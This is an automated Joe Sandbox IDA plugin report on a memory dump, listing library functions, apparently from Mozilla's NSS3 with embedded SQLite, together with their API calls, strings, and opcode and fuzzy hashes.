Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 0f1a6b58e4baa60a2a046144c092252c82fd9308ad70ae97792b9c445a1e5292
Instruction ID: b57938e5bb76f959f92ef1d2c20685b16d7dbd77f7b858f0b74153ff2156d677
Opcode Fuzzy Hash: 0f1a6b58e4baa60a2a046144c092252c82fd9308ad70ae97792b9c445a1e5292
Instruction Fuzzy Hash: 4A515C72B016494FC71CCDADDC527DAB7DAABA4310F48C23AE442DB785D638E906C751

Function 6C838FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C838FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8390DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C839118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8391C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C839209

Strings

3333, xrefs: 6C83925E
UUUU, xrefs: 6C839255

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: b168fa6630e769e3d9d8eaaa4f508d74969f740a97e9a5b5e0c5a5c92c1aea3b
Instruction ID: a27625dad95e4df757c2f04775ce2d910994cd999e2cfe4774aaffc42def4025
Opcode Fuzzy Hash: b168fa6630e769e3d9d8eaaa4f508d74969f740a97e9a5b5e0c5a5c92c1aea3b
Instruction Fuzzy Hash: 6EA1C372E001259BDB14CBA8CD91BAEB7B5BF88324F095538D919A7351E73AEC41CBD0

Function 6C6F0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C6F103E
EnterCriticalSection.KERNEL32(?), ref: 6C6F1139
LeaveCriticalSection.KERNEL32(?), ref: 6C6F1190
sqlite3_free.NSS3(00000000), ref: 6C6F1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C6F126E
sqlite3_free.NSS3(?), ref: 6C6F127F

Strings

winAccess, xrefs: 6C6F129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C6F1267

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 67af1ee055830b1bf35b5ab9244bc3a3f575fd341d6cd37d40bb4901e3223816
Instruction ID: 4406a26d7ea741979eea90afe6482edec8840fcf26a3dabea51bf6b32ac51011
Opcode Fuzzy Hash: 67af1ee055830b1bf35b5ab9244bc3a3f575fd341d6cd37d40bb4901e3223816
Instruction Fuzzy Hash: 3F71E8B17052019FEB24DF64EC85AAA3376FF86358F140639E93187A80DB34D946C7DA

Function 6C6FAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?), ref: 6C6FB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB0A2
CloseHandle.KERNEL32(?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?,?,?), ref: 6C6FB100
sqlite3_free.NSS3(?,?,00000002,?,6C81CF46,?,6C6ECDBD,?,6C81BF31,?,?,?,?,?,?,?), ref: 6C6FB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C81CF46,?,6C6ECDBD,?,6C81BF31), ref: 6C6FB12D

Part of subcall function 6C6E9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6FC6FD,?,?,?,?,6C74F965,00000000), ref: 6C6E9F0E
Part of subcall function 6C6E9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C74F965,00000000), ref: 6C6E9F5D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 7043a684660943f1c5e304914ffdb9bf8cbfcfca7c022bcd9bf6d3a9b2327db4
Instruction ID: 33b1eaacdf37768204088eeb086b60fcbe13b14021d0e3922eb888f2c646c330
Opcode Fuzzy Hash: 7043a684660943f1c5e304914ffdb9bf8cbfcfca7c022bcd9bf6d3a9b2327db4
Instruction Fuzzy Hash: 8791E4B0A052058FEB14CF24D984BBBB7B2FF85308F14463DE42697A51E734E546CB99

Function 6C878D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8C14E4,6C82CC70), ref: 6C878D47
PR_GetCurrentThread.NSS3 ref: 6C878D98

Part of subcall function 6C750F00: PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B
Part of subcall function 6C750F00: PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C878E7B
htons.WSOCK32(?), ref: 6C878EDB
PR_GetCurrentThread.NSS3 ref: 6C878F99
PR_GetCurrentThread.NSS3 ref: 6C87910A

Strings

%u.%u.%u.%u, xrefs: 6C878E74

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 1ab9e1e11b915c106a78f6a2b6305ce4db042a1e71bc9f0df8262a46244888f5
Instruction ID: e0bbeb3c6daf185dbfccfbae16854879ba39589d253a7670c4165d77186fda7b
Opcode Fuzzy Hash: 1ab9e1e11b915c106a78f6a2b6305ce4db042a1e71bc9f0df8262a46244888f5
Instruction Fuzzy Hash: 1202CD319051558FDB34CF1DC69836EBBB3EF42304F198A9AD8A15BA91E339D945C3B0

Function 6C81A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C83C3A2,?,?,00000000,00000000), ref: 6C81A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C81A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C81A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C81A738

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C81A6CA
%s at line %d of [%.10s], xrefs: 6C81A6D9
database corruption, xrefs: 6C81A6D4

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: a660412ed2a8b35b1630f3f4291463c1fc217998417d6ea59cb70b6dad12e386
Instruction ID: 7b1492dda7b419648e7876550c006ed2cfb83e4c648012cdf748a8af1beb108c
Opcode Fuzzy Hash: a660412ed2a8b35b1630f3f4291463c1fc217998417d6ea59cb70b6dad12e386
Instruction Fuzzy Hash: 1991C27060C3168BC724CF69C580AAAB7E1BF48314F454E6DE8968BF91E730EC49C782

Function 6C7F4540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7F4571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C7F45B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C7F45C2

Part of subcall function 6C7F04C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C7F461B,-00000004), ref: 6C7F04DF
Part of subcall function 6C7F04C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C7F461B,-00000004), ref: 6C7F0534

PR_Now.NSS3 ref: 6C7F4626

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F4634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6C7F46C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6C7F46E3
PR_SetError.NSS3(?,00000000), ref: 6C7F4722

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: 7c41b415d60ceb1d641d42bffaf14e52a594de07124ebfd60099a42b59ce5fa1
Instruction ID: 5fec92c245611e3e9c30838714a2dda63f7e6e88d1cffb0fa62e7c8761cef6f4
Opcode Fuzzy Hash: 7c41b415d60ceb1d641d42bffaf14e52a594de07124ebfd60099a42b59ce5fa1
Instruction Fuzzy Hash: F961E271E006049FEB20CF68CA84B9AB7F1FF59308F544939E8559BB51E734E945CB90

Function 6C774420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C774444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C774466

Part of subcall function 6C7C1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C1228
Part of subcall function 6C7C1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7C1238
Part of subcall function 6C7C1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C124B
Part of subcall function 6C7C1200: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C125D
Part of subcall function 6C7C1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7C126F
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7C1280
Part of subcall function 6C7C1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7C128E
Part of subcall function 6C7C1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7C129A
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7C12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C77447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C77448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C774494

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 7c832de5880edc633f06de34d05d3c8a3ee253a72f799509a086f3384f997442
Instruction ID: 42eba2509909be00759feb059c8d309b97947c5df9bd2e6f53b0f58223b22020
Opcode Fuzzy Hash: 7c832de5880edc633f06de34d05d3c8a3ee253a72f799509a086f3384f997442
Instruction Fuzzy Hash: 3E11E7B6D007089FD7308F249D844A7B7F8FF59618B044B3EE89D62A01F371B59897A0

Function 6C87CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C87D086
PR_Malloc.NSS3(00000001), ref: 6C87D0B9
PR_Free.NSS3(?), ref: 6C87D138

Strings

>, xrefs: 6C87CF5B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 400d504abda0141f244521ca6fecc36f0ecebaa80f996ae716c29302d6e31dfb
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: AFD15D62B4154A4BEB34487C8EA13DDB7938742374F584B2AD5219BBE6F619C8838371

Function 6C81AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58342217ee37242f4913698ebf9a4f46dc3c3b993f806fd3532a04463d001a69
Instruction ID: 9e3b4ec1e4b25f8d7e7a7e648d2472a9cbeb8500bdb7a114b35d1e5050f32930
Opcode Fuzzy Hash: 58342217ee37242f4913698ebf9a4f46dc3c3b993f806fd3532a04463d001a69
Instruction Fuzzy Hash: A9F1CBB5E091568FEB24CF28DA903A977F0BB8A308F154A7DC805D7B50E7749A46CBC4

Function 6C7D0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C7D1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C7D1086

Strings

h(}l, xrefs: 6C7D0E55, 6C7D0EC4, 6C7D0F3A, 6C7D0FA7
h(}l, xrefs: 6C7D1062, 6C7D105D, 6C7D0F37, 6C7D1081, 6C7D1082

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(}l$h(}l
API String ID: 1297977491-4222638979
Opcode ID: 3c53118bf345bacf0d8eceae5c861daa300bb15de9dd20ed83df6dcd5df51a39
Instruction ID: c711be2ba43c7eeb8da918a448af0425b519be603eb7880e660a9333293fe2c9
Opcode Fuzzy Hash: 3c53118bf345bacf0d8eceae5c861daa300bb15de9dd20ed83df6dcd5df51a39
Instruction Fuzzy Hash: E6A13B71B0124A9FCB08DF99C994AEEBBB6BF88314F158129E905A7700D735ED01CBA0

Function 6C7F25B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6C7D5A85), ref: 6C7F2675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6C7F2659

Part of subcall function 6C7A3850: TlsGetValue.KERNEL32 ref: 6C7A389F
Part of subcall function 6C7A3850: EnterCriticalSection.KERNEL32(?), ref: 6C7A38B3
Part of subcall function 6C7A3850: PR_Unlock.NSS3(?), ref: 6C7A38F1
Part of subcall function 6C7A3850: TlsGetValue.KERNEL32 ref: 6C7A390F
Part of subcall function 6C7A3850: EnterCriticalSection.KERNEL32(?), ref: 6C7A3923
Part of subcall function 6C7A3850: PR_Unlock.NSS3(?), ref: 6C7A3972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F2697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6C7D5A85,?,6C7D5A85), ref: 6C7F2717

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 147874576689b2470c875e4d89a597e82a668af20a38dcbb5fc8ffdfbedd46e2
Instruction ID: c68291f5c49b5630448e277dafb4551d5a9aa66ea7e1586a1e62300b428f3752
Opcode Fuzzy Hash: 147874576689b2470c875e4d89a597e82a668af20a38dcbb5fc8ffdfbedd46e2
Instruction Fuzzy Hash: FC41F871A083C06AFB258E19CDC9FDF73A8EFC0718F204529F96406B41EA71958687E3

Function 6C748540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6C748705

Strings

BINARY, xrefs: 6C748B02, 6C748DA2, 6C748E27, 6C748E60
automatic index on %s(%s), xrefs: 6C7486FB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: e60c070ae758c0a6a0142c5ae85b165e54741a32297bd59d714e1d2bde198a68
Instruction ID: 66cd5b22ebcfb1ce896ea9db382ef3dac04cd51afd704cd35e4dbe40064a7ae2
Opcode Fuzzy Hash: e60c070ae758c0a6a0142c5ae85b165e54741a32297bd59d714e1d2bde198a68
Instruction Fuzzy Hash: A162AF75A083459FD705CF28C580B1AB7F1FF89348F148A6EE8999B752D731E846CB82

Function 6C7364D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C736E3E
not authorized, xrefs: 6C736D47, 6C736D4C
WBpl, xrefs: 6C73655C
WBpl, xrefs: 6C73679E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: WBpl$WBpl$authorizer malfunction$not authorized
